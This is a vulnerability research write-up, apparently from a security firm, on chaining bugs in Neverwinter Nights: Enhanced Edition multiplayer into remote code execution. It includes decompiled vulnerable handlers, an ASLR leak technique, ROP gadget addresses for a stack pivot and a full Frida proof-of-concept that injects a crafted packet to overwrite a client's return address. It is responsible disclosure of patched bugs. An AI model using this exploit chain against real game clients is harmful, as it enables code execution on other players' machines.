Exploiting Neverwinter Nights

Written by Thomas Dubier - 10/03/2025 - in Exploit - Download

Back in 2024, we looked for vulnerabilities in Neverwinter Nights : Enhanced Edition as a side research project. We found and reported multiple vulnerabilities to the publisher Beamdog. In this article we will detail how we can chain two vulnerabilities to obtain a remote code execution in multiplayer mode.

Introduction

Neverwinter Nights is an RPG based video game developed by BioWare and Obsidian Entertainment in 2002. The game's rules are based on the rules of Dungeons & Dragons. The game was re-released by Beamdog in 2018 under the name Neverwinter Nights: Enhanced Edition. The game is natively compatible with several operating systems like Windows, Linux, MacOS and Android. The game offers a campaign mode, multiplayer LAN mode and a multiplayer online mode. During this research, we studied the multiplayer LAN mode.

Game menu
Game menu

Before we started looking for vulnerabilities we looked for ways to make reverse engineering easier. We don't want reverse what has already been studied. The game is based on game engine named Aurora Engine. This engine is not open-source. However, we can find an open source implementation of BioWare's Aurora engine like Xoreos1. Unfortunately, there is no implementation of multiplayer mode. The game is also shipped with Aurora Toolset located C:\GOG Games\Neverwinter Nights Enhanced Edition\bin\win32\nwtoolset.exe. Other interesting tools are NWNExplorer2 that offers a more detailed view of assets.

Aurora Toolset
Aurora Toolset

Debug symbols are very useful for reversing. Windows binary contains a path to a symbols file C:\Jenkins\workspace\Build Windows\vs2017\game\nwmain\Release\nwmain.pdb. Unfortunately, this symbols file is not shipped with the installer. We found that the Linux binary contains more symbols than the Windows binary.

 

Setting up the Lab

Firstly, we set up multiple virtual machines with VirtualBox and 3D acceleration enabled. Each Virtual Machine has a Windows x64 version 10.0.19045.2965 and Neverwinter Nights version 88.8193.36.13 installed. If you want to play in multiplayer LAN with a Virtual Machine that's not connected to internet, you need to patch settings.tml in local configuration directory C:\Users\user\Documents\Neverwinter Nights.

[masterserver]
    [masterserver.key-authentication]
        mode = "if-reachable"

The second requirements to play in multiplayer is to have two different CD Key. The game doesn't allow players with the same CD Key to play each other.

Multiplayer attack surface

First, we ran a Wireshark capture to analyze the traffic when the player connects to a game :

Network discovery
Network discovery

As you can see, game uses its own protocol based on UDP. To discover game instance on LAN, client will send a broadcast message starting with 4 bytes identifier BNES. Server will respond with another packet, 4 bytes set with BNER followed by multiplayer game name. First packet exchanges are in clear text then following ones seems to contain unreadable data (We will see later that data is encrypted). When a user logs into a game, the game client initiates a key exchange using the Noise Protocol Framework3. The game use LibHydrogen4 to achieve the task. This key exchange is based on cryptographic primitive like elliptic curve and Gimli5 permutation.

Ciphered packet can be analyzed by hooking the right method with Frida. The method CNetLayerInternal::SendDirectMessage is a good candidate.

Network Layers
Network Layers

Ciphered packet contains what we call a frame (according to the debug symbols). A frame contains the following fields :

  • Magic field is always initialized with 0x4D.
  • Packet integrity is handled by a CRC-16.
  • There are two fields FrameId which contains incremental ID. We assume that this is used for the message processing order.
  • Game messages can be divided in multiple frames. nFrame indicate the number of frames
  • frame type is one of this three value
    • DATA : frame contains data
    • ACK : frame is acknowledgement
    • NAK : frame is negative-acknowledgement
  • Length field indicates the size of Frame Data

Program handle frame reassembly by using the method CNetLayerWindow::UnpacketizeFullMessages. Once all frames has been collected, method will call CNetLayerInternal::UncompressMessage to decompress data. The data buffer is passed as parameter of CClientExoApp::HandleMessage. If the game instance is a game host, data buffer is passed as parameter of CServerExoApp::HandleMessage. These two methods will handle a message in the following format :

Message format
Message format

The first byte can take the following values:

  • 'p' : The message comes from the player
  • 'P' : The message comes from the server
  • 's' or 'S' indicate a ServerAdmin message which has another format.

The next two bytes are major and minor number. Major indicates a message category (Journal, Quest, Creature, Chat, ...) and minor indicates the operation to perform. Fields are followed by a length field and serialized data. The following bytes depend on the message type. To decode bytes stream program use a helper class named CNWMessage. It has an internal field cursor which can be moved within a stream of bytes. Here are some methods of CNWMessage below :

  • CNWMessage::ReadWORD will decode a little-endian word and increments the read cursor of 2 bytes
  • CNWMessage::ReadINT will decode a little-endian integer and increments the read cursor of 4 bytes
  • CNWMessage::ReadBOOL will return a boolean. Object will read this boolean in Bits buffer. The internal cursor associated with the bits stream is incremented.
  • CNWMessage::ReadCExoString will read an integer of specified bits size. This integer indicates the length of the string. The method will read as many bytes as specified in the length field. It returns a CExoString object.

The game related message is a huge attack surface, as you can see below there are many messages handlers.

Handlers
Handlers

Vulnerabilities

By auditing handlers, we found two vulnerabilities. First, there is a stack buffer overflow vulnerability when game client instance process a message with Major sets to 0x02 and Minor sets to 0x0A. A message is sent when the server detects a conflict between the character created and a character that already exists in the saved game.

Server detect conflit
Choose Character Popup

Message contains two serialized lists of integers that represent class and class level of saved character. Below, you will find the handler's pseudocode. Integers are copied into fixed size array (Class and ClassLevel). There is no list size check. By crafting a message containing lists of more than 8 integers, array Class will overflow. However, there is a stack cookie and there is no local variable between the buffer and the stack cookie. This vulnerability is likely unexploitable without a stack cookie leak.

__int64 __fastcall CNWCMessage::HandleServerToPlayerLogin(CNWMessage *this, char Minor) {
[...]
int Class[8];       // [rsp+F0h] [rbp-18h] BYREF
char ClassLevel[8]; // [rsp+110h] [rbp+8h] BYREF
[...]
switch(Minor)
{
	[…]
	case 10:
        	ClassListSize = CNWMessage::ReadBYTE(this, 8);
        	_ClasListSize = ClassListSize;
        	if ( ClassListSize )
        	{
          		_ClassLevel = ClassLevel;
          		_Class = Class;
          		n = ClassListSize;
          		do
          		{
				// stack buffer overflow
            			*_Class = CNWMessage::ReadINT(this, 32);        
            			*_ClassLevel = CNWMessage::ReadBYTE(this, 8);
            			++_Class;
            			++_ClassLevel;
            			--n;
          		}
          		while ( n );
        	}
        	Experience = CNWMessage::ReadDWORD(this, 32);
        	[...]
        	CPanelCharVersionPopup::SetSaveCharacterInfo(v13, _ClassListSize, Class, ClassLevel, Experience);

Fortunately there is another vulnerability. Major and minor numbers must be set to 5 and 1 to reach the vulnerable method CNWCMessage::HandleServerToPlayerCreatureUpdate_Appearance. This method will process a list of ten indexes and values. Value can be written out of bound in the array Buf because index is not checked [1].

__int64 __fastcall CNWCMessage::HandleServerToPlayerCreatureUpdate_Appearance(CNWMessage *this)
{
[…]
 unsigned __int16 Buf[18]; // [rsp+216h] [rbp-11Ah] BYREF
[…]    
    Count = CNWMessage::ReadBYTE(this, 8);
    _Count = Count;
    if ( Count )
    {
      v53 = (int *)Buf;
      if ( Count <= 9u )
      {
        CNWCCreatureAppearance::GetPartVariations(
          *((CNWCCreatureAppearance **)CreatureByGameObjectID + 102),
          (unsigned __int8 *)Buf,
	    0);
        n = 0;
        while ( 1 )
        {
          index = CNWMessage::ReadBYTE(this, 8);
          if ( CNWMessage::MessageReadOverflow(this) )
            goto LABEL_82;
          if ( _bVersionSup_8193_35 )
            value = CNWMessage::ReadWORD(this, 16);
          else
            value = (unsigned __int8)CNWMessage::ReadBYTE(this, 8);
          ++n;
          Buf[index] = value; // out of bound write [1]
          if ( _Count == n )
            goto LABEL_130;
        }
      }

That's enough to erase the return address.

Let's build a proof of concept. To avoid reimplementing the entire protocol, we will replace an existing message. We used Frida to instrument the game host. The PoC hooks the method CNWSMessage::SendServerToPlayerMessage which has the following prototype:

__int64 __fastcall CNWSMessage::SendServerToPlayerMessage(CNWSMessage *this, unsigned int PlayerId, unsigned __int8 Major, unsigned __int8 Minor, unsigned __int8 *Buf, unsigned int BufLen)

We can easily replace Major and Minor number. We only need to create the serialized data buffer. Some fields must be set before the list of index and value. To be parsed the message must contain a valid object id. By observing exchanges between the client and the server we found that 0x80000013 is a valid object ID. Server must serve Chapter 3 of The Wailing Death campaign. Game object is created after the player has finished choosing his character. Therefore, payload must be sent after this step. For the proof of concept, hook is triggered manually in the Frida console attached to server.

const baseAddr = Module.findBaseAddress('nwmain.exe');

var g_exploited = -1;

const MEM_COMMIT = 0x1000;
const PAGE_READWRITE = 0x04;

const VirtualAllocPtr = Module.findExportByName('kernel32.dll','VirtualAlloc');
const VirtualAllocFunc = new NativeFunction(VirtualAllocPtr,'pointer',['uint64','uint64','uint32','uint32']);

const CNWSMessage__SendServerToPlayerMessagePtr = resolveAddress('0x140444B20');

function Build_Payload()
{   
    let returnAddress = ptr("0x4141414141414141");

    let newLen = 0x1D;
    let newBuf = VirtualAllocFunc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);
    newBuf.add(3).writeU32(0x1C);           // bitPos
    newBuf.add(0x07).writeU8(0x50);         // HandleServerToPlayerUpdate_Appearance
    newBuf.add(0x08).writeU8(5);            // OBJECT_TYPE_CREATURE
    newBuf.add(0x09).writeU32(0x80000013);  // object id
    newBuf.add(0x0D).writeU16(0x100);       // flags
    newBuf.add(0x0F).writeU8(4);            // 4 write

    for(let i =0; i < 4; i++)
    {
        newBuf.add(0x10 + i*3).writeU8(225 + i); // index
        newBuf.add(0x10 + i*3 + 1).writeU16( returnAddress.shr(16 * i).and(0xFFFF).toInt32() ); // value
    }

    newBuf.add(0x1C).writeU8(0 * 0x20 | (1 << 4)| (0 << 5) | (0 << 6));

    return { buf: newBuf, length: newLen };
}

const CNWSMessage__SendServerToPlayerMessageFunc     = new NativeFunction(CNWSMessage__SendServerToPlayerMessagePtr,'int',['pointer','int','int','int','pointer','int'],'win64');
const CNWSMessage__SendServerToPlayerMessageCallback = new NativeCallback((ctx,playerId,major,minor,buf,len) => {
    if(playerId == 1)
    {    
        console.log('[+] SendServerToPlayer message ' + playerId);
        console.log('[+] buf: ' + buf);
        console.log('[+] len: ' + len);
        console.log('[+] major: '+ (major & 0xFF));
        console.log('[+] minor: '+ (minor & 0xFF));
    }

    if(playerId == 1 && g_exploited == 0)
    {
        console.log('[+] send corrupted message to player 1');
        g_exploited = 1;
        let payload = Build_Payload();
        return CNWSMessage__SendServerToPlayerMessageFunc(ctx,playerId,0x5,0x01,payload.buf,payload.length);
    }else{
        return CNWSMessage__SendServerToPlayerMessageFunc(ctx,playerId,major,minor,buf,len);
    }
},'int',['pointer','int','int','int','pointer','int'],'win64');

Interceptor.replace(CNWSMessage__SendServerToPlayerMessagePtr, CNWSMessage__SendServerToPlayerMessageCallback);

// ----- Utility ----

function swap32(x)
{
    return ((x & 0xFF000000) >> 24)|((x & 0x00FF0000) >> 16)|((x & 0x0000FF00) << 16)|((x & 0x000000FF) << 24);
}

function swap16(x)
{
    return ((x & 0xFF00) >> 8)|((x & 0x00FF) << 8);
}

function exploit()
{
    g_exploited = 0;
}

function resolveAddress(addr) {
    const idaBase = ptr('0x140000000'); 
    const offset = ptr(addr).sub(idaBase); 
    const result = baseAddr.add(offset);
    return result;
}

On the client side, we attach a debugger to catch exception. It's a win, return address has been replaced by 0x4141414141414141 and stack cookie hasn't been altered.

Crash RIP
First Win

Bypass ASLR

Binary has ASLR (Address Space Randomization Layout) enabled. We must find another vulnerability to leak program base address. Fortunately, there is a bug in CNWMessage::HandleServerToPlayerMessage. This method will dispatch message to the appropriate handler. It reads the first 3 bytes of Buf parameters [1] and initialize a CNWMessage by using method CNWMessage::SetReadMessage [2]. If buffer has a size of two bytes, minor will be read outside the memory allocated for Buf and CNWMessage::SetReadMessage will receive 2 - 3 = -1 as Length parameters. This is an integer underflow bug.

__int64 __fastcall CNWCMessage::HandleServerToPlayerMessage(CNWMessage *this, char *Buf, int Len)
{
  […]
  Magic = *Buf;
  Major = Buf[1];
  Minor = Buf[2]; // [1]
  if ( CNWMessage::SetReadMessage(this, Buf + 3, Len - 3, -1, 1) // [2]
    && (v8 = g_pAppManager->CClientExoApp->vtable->CClientExoApp::GetNetLayer)(g_pAppManager->CClientExoApp),
        CNetLayer::GetClientConnected(v8))
    && !CNWMessage::MessageReadOverflow(this)
    && Magic == 'P' )
  {
    CNetworkProfiler::AddMessageToProfile((const void **)g_cNetworkProfiler, 82, Major, Buf[2], Len);
    CExoString::Format(&a1, "unknown Major (0x%.2X)", Major);
    switch ( Major )
    {
      case 1u:
        CExoString::operator=(&a1, "ServerStatus");
        active = CNWCMessage::HandleServerToPlayerServerStatus(this, Minor);
        goto LABEL_9;
      case 2u:
        CExoString::operator=(&a1, "Login");
        active = CNWCMessage::HandleServerToPlayerLogin(this, Minor);
        goto LABEL_9;

CNWMessage::SetReadMessage processes the Length parameters as an unsigned integer. Depending on the handler, the program risks reading serialized data outside the buffer. By digging in CNetLayerInternal::UncompressMessage we noticed that program uses a temporary buffer rx_buffer for decompression (only if UncompressSize is lower than 0x20000). Uncompressed size is encoded on the first 4 bytes of the frame. rx_buffer is a member of object CNetLayerInternal, so it is located in heap memory. rx_buffer is not erased after use.  Therefore, if we send two messages, one to set data in the rx_buffer and another one that triggers the integer underflow, CNWCMessage::HandleServerToPlayerMessage will read the minor number from the first message. This allows us to choose which handler would be executed to process the second message.

__int64 __fastcall CNetLayerInternal::UncompressMessage(
        CNetLayerInternal *this,
        __int64 PlayerId,
        FRAME *frame,
        unsigned int FrameSize)
{
[...]
if ( UncompressedSize > 0x1400000 )
    return 0LL;
  if ( UncompressedSize < 0x20000 )
  {
    rx_buffer = this->rx_buffer;
  }
  else
  {
    rx_buffer = (char *)MaxTree::operator new(UncompressedSize);
    __UncompressedSize = _UncompressedSize;
  }
[...]
v17 = z_uncompress(rx_buffer, (int *)&_UncompressedSize, (__int64)&frame[1], FrameSize - 0x10);
[...]
result = v6->m_ExoApp->vtable->CClientExoApp::HandleMessage(
             v6->m_ExoApp,
             PlayerId,
             (unsigned __int8 *)rx_buffer,
             UncompressedSize,
             0);
[...]
}

Since the message has serialized data size initialized with 0xFFFFFFFF, handlers that use method like CNWMessage::ReadVOIDPtr can read out of bound of rx_buffer. We need to find a behavior that returns the data read out of bounds.

Activate Portal

During our research, we were interested in the scripting engine used by Neverwinter Nights. Unfortunately, it is not possible to run NWScript remotely without launching debug mode. However, we discovered some interesting features. There is a ActivatePortal function in NWScript which allows sending a player's client to a new server, where the player's character will log in. CNWCMessage::HandleServerToPlayerPortalActivatePortal method handles activate portal feature.

Activate Portal
Activate Portal Feature

When the client receives ActivatePortal message, this triggers a connection sequence to a new server. The exchanges are summarized in the diagram below. Client requests his character file. This file is stored temporary in memory before being sent to the second server.

Activate Portal message sequence
Activate Portal Sequence

This feature combined with integer overflow bug can be abused to get a leak. To handle character file, the client calls CNWMessage::ReadVOIDPtr with a length that is under control of attacker. Due to integer overflow bug, serialized data length is set to 0xFFFFFFFF. Therefore, the program can copy more than 0x20000 bytes from rx_buffer. The character file in temporary memory contains heap data (like vtable) that will be sent back to the second server.

__int64 __fastcall CNWCMessage::HandleServerToPlayerCharacterDownload(CNWMessage *this, char Minor)
{
  [...]
  if ( Minor == 2 )
  {
    length = CNWMessage::ReadDWORD(this, 32);
    pointer = (unsigned __int8 *)CNWMessage::ReadVOIDPtr(this, length);
    CClientExoApp::SetCharacterFile(g_pAppManager->CClientExoApp, length, pointer, 0);

ASLR won't randomize bits 0-11 because it would break page alignment. This behavior is interesting for us as it allow us to detect code addresses in memory that immediately follow each other. These pointers belong to the same object. We can look for pattern based on the 12 least significant bits to deduce program base address.

Stack pivot

Now that we know the base address of the program, we can look for an interesting gadget. As reminder, the first vulnerability allows us to write only 10 words in the stack. The exploitation strategy is to load into RSP register an address of a controlled memory. Luckily, RBX register points to the current CNWMessage. This object has a pointer (at offset 0x38) to message buffer. Message buffer contains our payload. A first gadget will store our payload address into RCX register :

0x00000001401e1f21 : mov rcx, qword ptr [rbx + 0x38] ; mov rdi, qword ptr [rcx + 0x28] ; call qword ptr [rdi + 0x18]

 

First gadget usage
Memory representation

We chain the previous gadget with the following. Payload address will be stored into RAX register and jmp allows us to call everything.

0x1401D6A50 : 
mov rax, rcx
mov qword ptr [rcx+10h], 0
mov rcx, [rcx+18h]
xor r8d, r8d
jmp qword ptr [rax+20h] 

The next three gadgets perform the stack pivot. It will push RAX (payload address) on stack and pop into RSP.

0x000000014060f2b1 : push rax ; mov rcx, rbx ; call qword ptr [rax + 0x48]
0x000000014075858d : pop rdi ; jmp qword ptr [rax + 0x40]
0x00000001408ecbb6 : pop rsp ; and al, 0x50 ; add rsp, 0x58 ; ret

RET instruction will fetch return address from our payload in heap memory. The next part of the exploit is a classical ROPChain to execute C:\Windows\System32\calc.exe.

Conclusion

We successfully exploited these vulnerabilities on Windows 10 x64. Bugs have been reported and patched by software engineers from the NWN community6. GOG has released a new version of Neverwinter Nights : Enhanced Edition. The source code of the PoC is available on https://github.com/synacktiv/nwn-exploit.

Video file